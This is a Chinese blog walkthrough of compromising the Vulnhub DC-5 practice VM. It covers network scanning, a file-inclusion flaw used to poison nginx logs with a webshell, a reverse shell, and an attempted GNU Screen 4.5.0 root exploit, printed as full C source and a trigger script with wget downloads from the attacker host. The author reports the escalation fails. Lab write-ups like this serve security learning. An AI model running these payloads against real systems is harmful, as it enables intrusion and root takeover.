Vulnhub-DC-5 靶机复现完整过程

注:最后提权那步失败了,若有大佬看到此文,还望指出问题,不胜感激!

由于本靶机被搁置一段时间,IP地址会有变化
故:192.168.200.11和92.168.200.58 都是靶机IP地址

一、准备工作

kali: ip 192.168.200.14
dc-5 : ip地址未知

二、信息收集

1、扫描i网段的主机存活

经常使用的三种方法

 arp-scan -l # 第一种方法
# 轻量级扫描工具

nmap -sP 192.168.200.0/24 -T4 # 第二种方法结合nmap
# ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描。
-T4	针对TCP端口禁止动态扫描延迟超过1MMS

netdiscover -i eth0 -r 192.168.200.0/24 # 第三种方法 -i是指定网卡,-r扫描一个地址段
# Netdiscover 是一个主动/被动的ARP 侦查工具。

image.png

2.探索此网站开放的端口信息

nmap -sS -A 192.168.200.11 -p 1-65535
#  (sS) 这是一个基本的扫描方式,它被称为半开放扫描,
因为这种技术使得Nmap不需要通过完整的握手就能获得远程主机的信息。
Nmap发送SYN包到远程主机,但是它不会产生任何会话.因此不会**在目标主机上产生任何日志记录
-p     扫描指定端口
-A     启动Os检测,版本检测,脚本扫描和traceroute
nmap -sV -p-  192.168.200.11 
-sV     探测服务/版本信息
-p      扫描指定端口

image.png
image.png
开放端口有三个:80(http默认端口)和111端口、43853端口

登录网页,到这个页面发现每次刷新网页,页面下面的时间会随之改变,这可能存在文件包含
image.png

image.png
扫描目录,查看以下此页面的网页

3.扫描后台目录

image.png
其他目录在本网页当中都是存在的,当访问这个不存在的网页时出现下面这个场景,那么猜测是有文件包含漏洞的

thankyou.php包含了footer.php

三、漏洞利用

文件包含发现image.png

利用
?file=/etc/passwd 指令,出现预想中的效果
image.png
由于当前网站的web服务器使用的是nginx,在网站上的每一步操作都将会被写入日志文件log内,因此我们可以通过log来拿 shell,先看一下能否访问(若不知道log的存放位置,可以百度此版本号的服务器查询即可)
image.png
百度结果,那么利用如下路劲将webshell写入进去log

/var/log/nginx/error.log 
/var/log/nginx/access.log 

利用日志写入webshell

image.png

利用burp或者直接更改URL都可以
image.png
访问日志连接,可以看到一句话木马已经被写入到了日志(关杀软)
image.png
webshell连接成功
image.png

在kali上进行监听
image.png
在蚁剑终端上反弹shell,建立永久连接
image.png

image.png
使用python交互界面

python -c 'import pty;pty.spawn("/bin/bash")'

提权

查看有suid的文件夹,寻找能够提权的信息
find / -perm -u=s -type f 2>/dev/null

image.png
利用screen-4.5.0的版本

GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能

KALI搜索

searchsploit screen 4.5.0

image.png
再不破坏原有文件的前提下,复制源文件

cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh

查看文件
image.png
尝试本地编译其内的两个c语言程序,将该脚本拆分成3部分,具体内容如下
image.png

编译文件

以下按照所给EXP操作

第一部分 -----》libhax.c

#include <stdio.h>
 
#include <sys/types.h>
 
#include <unistd.h>
 
__attribute__ ((__constructor__))
 
void dropshell(void){
 
    chown("/tmp/rootshell", 0, 0);
 
    chmod("/tmp/rootshell", 04755);
 
    unlink("/etc/ld.so.preload");
 
    printf("[+] done!\n");
 
}

用命令编译,生成libhax.so 文件

gcc -fPIC -shared -ldl -o libhax.so libhax.c

image.png
第二部分-------rootshell.c

#include <stdio.h>
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

编译生成rootshell.c

gcc -o rootshell rootshell.c

image.png
第三部分----》DC-5.sh

#!/bin/bash
# 编译成脚本文件要加头

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

image.png

然后本地开启一个HTTP服务

python -m http.server 8899

将编译好的三个文件上传至靶机目录

wget http://192.168.200.14:8888/rootshell
wget http://192.168.200.14:8888/libhax.so
wget http://192.168.200.14:8888/DC-5.sh

image.png
运行DC-5.sh 文件,进行提权,失败

显示这样的报错问题,提示glibc_2.34不能被找到,这应该是过低还是过高导致的问题呢、
image.png

原文参考:
https://blog.csdn.net/qq_34028816/article/details/124572718

  • 38
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值